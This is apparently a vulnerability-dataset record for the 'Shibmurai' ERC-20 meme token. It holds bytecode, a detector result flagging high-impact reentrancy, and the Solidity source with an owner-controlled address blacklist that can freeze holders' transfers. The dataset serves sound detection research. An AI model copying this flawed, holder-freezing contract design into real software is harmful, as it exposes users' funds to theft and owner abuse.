01000a81548160ff02191690831515021790555050565b806125765761257561260a565b5b61258184848461264d565b8061258f5761258e612818565b5b50505050565b60006125d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282c565b905092915050565b60008060006125ec61288f565b91509150612603818361259590919063ffffffff16565b9250505090565b6000600c5414801561261e57506000600d54145b156126285761264b565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265f876128f1565b9550955095509550955095506126bd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279e81612a01565b6127a88483612abe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128059190613562565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286a9190613380565b60405180910390fd5b506000838561288291906136ee565b9050809150509392505050565b60008060006006549050600068056bc75e2d6310000090506128c568056bc75e2d6310000060065461259590919063ffffffff16565b8210156128e45760065468056bc75e2d631000009350935050506128ed565b81819350935050505b9091565b600080600080600080600080600061290e8a600c54600d54612af8565b925092509250600061291e6125df565b905060008060006129318e878787612b8e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a3565b905092915050565b60008082846129b29190613698565b9050838110156129f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ee90613482565b60405180910390fd5b8091505092915050565b6000612a0b6125df565b90506000612a228284612c1790919063ffffffff16565b9050612a7681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612ad38260065461295990919063ffffffff16565b600681905550612aee816007546129a390919063ffffffff16565b6007819055505050565b600080600080612b246064612b16888a612c1790919063ffffffff16565b61259590919063ffffffff16565b90506000612b4e6064612b40888b612c1790919063ffffffff16565b61259590919063ffffffff16565b90506000612b7782612b69858c61295990919063ffffffff16565b61295990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ba78589612c1790919063ffffffff16565b90506000612bbe8689612c1790919063ffffffff16565b90506000612bd58789612c1790919063ffffffff16565b90506000612bfe82612bf0858761295990919063ffffffff16565b61295990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c2a5760009050612c8c565b60008284612c38919061371f565b9050828482612c4791906136ee565b14612c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7e906134a2565b60405180910390fd5b809150505b92915050565b6000612ca5612ca084613617565b6135f2565b90508083825260208201905082856020860282011115612cc457600080fd5b60005b85811015612cf45781612cda8882612cfe565b845260208401935060208301925050600181019050612cc7565b5050509392505050565b600081359050612d0d81613d63565b92915050565b600081519050612d2281613d63565b92915050565b60008083601f840112612d3a57600080fd5b8235905067ffffffffffffffff811115612d5357600080fd5b602083019150836020820283011115612d6b57600080fd5b9250929050565b600082601f830112612d8357600080fd5b8135612d93848260208601612c92565b91505092915050565b600081359050612dab81613d7a565b92915050565b600081359050612dc081613d91565b92915050565b600060208284031215612dd857600080fd5b6000612de684828501612cfe565b91505092915050565b600060208284031215612e0157600080fd5b6000612e0f84828501612d13565b91505092915050565b60008060408385031215612e2b57600080fd5b6000612e3985828601612cfe565b9250506020612e4a85828601612cfe565b9150509250929050565b600080600060608486031215612e6957600080fd5b6000612e7786828701612cfe565b9350506020612e8886828701612cfe565b9250506040612e9986828701612db1565b9150509250925092565b60008060408385031215612eb657600080fd5b6000612ec485828601612cfe565b9250506020612ed585828601612db1565b9150509250929050565b600080600060408486031215612ef457600080fd5b600084013567ffffffffffffffff811115612f0e57600080fd5b612f1a86828701612d28565b93509350506020612f2d86828701612d9c565b9150509250925092565b600060208284031215612f4957600080fd5b600082013567ffffffffffffffff811115612f6357600080fd5b612f6f84828501612d72565b91505092915050565b600060208284031215612f8a57600080fd5b6000612f9884828501612d9c565b91505092915050565b600060208284031215612fb357600080fd5b6000612fc184828501612db1565b91505092915050565b60008060008060808587031215612fe057600080fd5b6000612fee87828801612db1565b9450506020612fff87828801612db1565b935050604061301087828801612db1565b925050606061302187828801612db1565b91505092959194509250565b60006130398383613045565b60208301905092915050565b61304e816137ad565b82525050565b61305d816137ad565b82525050565b600061306e82613653565b6130788185613676565b935061308383613643565b8060005b838110156130b457815161309b888261302d565b97506130a683613669565b925050600181019050613087565b5085935050505092915050565b6130ca816137bf565b82525050565b6130d981613802565b82525050565b6130e881613826565b82525050565b60006130f98261365e565b6131038185613687565b9350613113818560208601613838565b61311c81613972565b840191505092915050565b6000613134602383613687565b915061313f82613983565b604082019050919050565b6000613157603f83613687565b9150613162826139d2565b604082019050919050565b600061317a602a83613687565b915061318582613a21565b604082019050919050565b600061319d601c83613687565b91506131a882613a70565b602082019050919050565b60006131c0602683613687565b91506131cb82613a99565b604082019050919050565b60006131e3602283613687565b91506131ee82613ae8565b604082019050919050565b6000613206602383613687565b915061321182613b37565b604082019050919050565b6000613229601b83613687565b915061323482613b86565b602082019050919050565b600061324c602183613687565b915061325782613baf565b604082019050919050565b600061326f602083613687565b915061327a82613bfe565b602082019050919050565b6000613292602983613687565b915061329d82613c27565b604082019050919050565b60006132b5602583613687565b91506132c082613c76565b604082019050919050565b60006132d8602383613687565b91506132e382613cc5565b604082019050919050565b60006132fb602483613687565b915061330682613d14565b604082019050919050565b61331a816137eb565b82525050565b613329816137f5565b82525050565b60006020820190506133446000830184613054565b92915050565b600060208201905061335f60008301846130c1565b92915050565b600060208201905061337a60008301846130d0565b92915050565b6000602082019050818103600083015261339a81846130ee565b905092915050565b600060208201905081810360008301526133bb81613127565b9050919050565b600060208201905081810360008301526133db8161314a565b9050919050565b600060208201905081810360008301526133fb8161316d565b9050919050565b6000602082019050818103600083015261341b81613190565b9050919050565b6000602082019050818103600083015261343b816131b3565b9050919050565b6000602082019050818103600083015261345b816131d6565b9050919050565b6000602082019050818103600083015261347b816131f9565b9050919050565b6000602082019050818103600083015261349b8161321c565b9050919050565b600060208201905081810360008301526134bb8161323f565b9050919050565b600060208201905081810360008301526134db81613262565b9050919050565b600060208201905081810360008301526134fb81613285565b9050919050565b6000602082019050818103600083015261351b816132a8565b9050919050565b6000602082019050818103600083015261353b816132cb565b9050919050565b6000602082019050818103600083015261355b816132ee565b9050919050565b60006020820190506135776000830184613311565b92915050565b600060a0820190506135926000830188613311565b61359f60208301876130df565b81810360408301526135b18186613063565b90506135c06060830185613054565b6135cd6080830184613311565b9695505050505050565b60006020820190506135ec6000830184613320565b92915050565b60006135fc61360d565b9050613608828261386b565b919050565b6000604051905090565b600067ffffffffffffffff82111561363257613631613943565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136a3826137eb565b91506136ae836137eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136e3576136e26138e5565b5b828201905092915050565b60006136f9826137eb565b9150613704836137eb565b92508261371457613713613914565b5b828204905092915050565b600061372a826137eb565b9150613735836137eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561376e5761376d6138e5565b5b828202905092915050565b6000613784826137eb565b915061378f836137eb565b9250828210156137a2576137a16138e5565b5b828203905092915050565b60006137b8826137cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061380d82613814565b9050919050565b600061381f826137cb565b9050919050565b6000613831826137eb565b9050919050565b60005b8381101561385657808201518184015260208101905061383b565b83811115613865576000848401525b50505050565b61387482613972565b810181811067ffffffffffffffff8211171561389357613892613943565b5b80604052505050565b60006138a7826137eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138da576138d96138e5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d6c816137ad565b8114613d7757600080fd5b50565b613d83816137bf565b8114613d8e57600080fd5b50565b613d9a816137eb565b8114613da557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220971b3a342bfb364fd4dc122a00d17350c148148e67599c671f09aa6f4d99b9be64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,633
0xef8dd94f25b41778f4deceefeb170fa449d89095
/* Shibmurai brings you the most splendid meme token that you may find in cryptocurrency history. Shibas are known for their spirited personality, foxy features and alert, confident behaviour. Today they serve primarily not only as companion dogs but also widely considered as spiritual animals in contemporary Japan and the United States. Samurai, noble warriors in ancient Japan. It was supposed to be a stoic warrior who followed an unwritten code of conduct of Bushido, which held bravery, honour, and personal loyalty above life itself; ritual suicide by disembowelment was institutionalized as a respected alternative to dishonour or defeat. Everything about shiba tells you it is the ideal dog of each recognized breed; everything about samurai tells you it is the most glorious job that you can find in human history. By combining the spirited animal Shiba and the glorious Samurai together, Shibmurai brings you the most splendid meme token that you may find in cryptocurrency history. Tax: 12% 4% Reflection 5% Token burn 2% Dev 1% Marketing https://shibmurai.com/ https://t.me/shibmuraitoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract Shibmurai is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _tTotal = 1e9 * 10**9; uint256 private constant _MAX = ~uint256(0); uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; string private constant _name = "Shibmurai"; string private constant _symbol = "Shibmurai"; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from]); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(10).div(100); uint256 burnCount = contractTokenBalance.mul(5).div(12); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (5 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 12); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c0578063cf0848f7146103d5578063cf9d4afa146103f5578063dd62ed3e14610415578063e6ec64ec1461045b578063f2fde38b1461047b57600080fd5b8063715018a6146103235780638da5cb5b1461033857806390d49b9d1461036057806395d89b4114610172578063a9059cbb14610380578063b515566a146103a057600080fd5b806331c2d8471161010857806331c2d8471461023c5780633bbac5791461025c578063437823ec14610295578063476343ee146102b55780635342acb4146102ca57806370a082311461030357600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b357806318160ddd146101e357806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049b565b005b34801561017e57600080fd5b506040805180820182526009815268536869626d7572616960b81b602082015290516101aa9190611859565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce3660046118d3565b6104e7565b60405190151581526020016101aa565b3480156101ef57600080fd5b50670de0b6b3a76400005b6040519081526020016101aa565b34801561021457600080fd5b506101d36102233660046118ff565b6104fe565b34801561023457600080fd5b5060096101fa565b34801561024857600080fd5b50610170610257366004611956565b610567565b34801561026857600080fd5b506101d3610277366004611a1b565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a157600080fd5b506101706102b0366004611a1b565b6105fd565b3480156102c157600080fd5b5061017061064b565b3480156102d657600080fd5b506101d36102e5366004611a1b565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030f57600080fd5b506101fa61031e366004611a1b565b610685565b34801561032f57600080fd5b506101706106a7565b34801561034457600080fd5b506000546040516001600160a01b0390911681526020016101aa565b34801561036c57600080fd5b5061017061037b366004611a1b565b6106dd565b34801561038c57600080fd5b506101d361039b3660046118d3565b610757565b3480156103ac57600080fd5b506101706103bb366004611956565b610764565b3480156103cc57600080fd5b5061017061087d565b3480156103e157600080fd5b506101706103f0366004611a1b565b610935565b34801561040157600080fd5b50610170610410366004611a1b565b610980565b34801561042157600080fd5b506101fa610430366004611a38565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046757600080fd5b50610170610476366004611a71565b610bdb565b34801561048757600080fd5b50610170610496366004611a1b565b610c18565b6000546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104c590611a8a565b60405180910390fd5b60006104d930610685565b90506104e481610cb0565b50565b60006104f4338484610e2a565b5060015b92915050565b600061050b848484610f4e565b61055d843361055885604051806060016040528060288152602001611c05602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611312565b610e2a565b5060019392505050565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104c590611a8a565b60005b81518110156105f9576000600560008484815181106105b5576105b5611abf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f181611aeb565b915050610594565b5050565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016104c590611a8a565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f89061134c565b6000546001600160a01b031633146106d15760405162461bcd60e51b81526004016104c590611a8a565b6106db60006113d0565b565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104c590611a8a565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f4338484610f4e565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104c590611a8a565b60005b81518110156105f957600c5482516001600160a01b03909116908390839081106107bd576107bd611abf565b60200260200101516001600160a01b03161415801561080e5750600b5482516001600160a01b03909116908390839081106107fa576107fa611abf565b60200260200101516001600160a01b031614155b1561086b5760016005600084848151811061082b5761082b611abf565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087581611aeb565b915050610791565b6000546001600160a01b031633146108a75760405162461bcd60e51b81526004016104c590611a8a565b600c54600160a01b900460ff1661090b5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c5565b600c805460ff60b81b1916600160b81b17905542600d8190556109309061012c611b06565b600e55565b6000546001600160a01b0316331461095f5760405162461bcd60e51b81526004016104c590611a8a565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109aa5760405162461bcd60e51b81526004016104c590611a8a565b600c54600160a01b900460ff1615610a125760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8d9190611b1e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ada573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afe9190611b1e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6f9190611b1e565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c055760405162461bcd60e51b81526004016104c590611a8a565b600c811115610c1357600080fd5b600855565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016104c590611a8a565b6001600160a01b038116610ca75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c5565b6104e4816113d0565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf857610cf8611abf565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d759190611b1e565b81600181518110610d8857610d88611abf565b6001600160a01b039283166020918202929092010152600b54610dae9130911684610e2a565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de7908590600090869030904290600401611b3b565b600060405180830381600087803b158015610e0157600080fd5b505af1158015610e15573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c5565b6001600160a01b038216610eed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c5565b6001600160a01b0382166110145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c5565b600081116110765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c5565b6001600160a01b03831660009081526005602052604090205460ff161561109c57600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110de57506001600160a01b03831660009081526004602052604090205460ff16155b80156110f45750600c54600160a81b900460ff16155b80156111245750600c546001600160a01b03858116911614806111245750600c546001600160a01b038481169116145b1561130057600c54600160b81b900460ff166111825760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c5565b50600c546001906001600160a01b0385811691161480156111b15750600b546001600160a01b03848116911614155b80156111be575042600e54115b156112055760006111ce84610685565b90506111ee60646111e8670de0b6b3a76400006002611420565b9061149f565b6111f884836114e1565b111561120357600080fd5b505b600d54421415611233576001600160a01b03831660009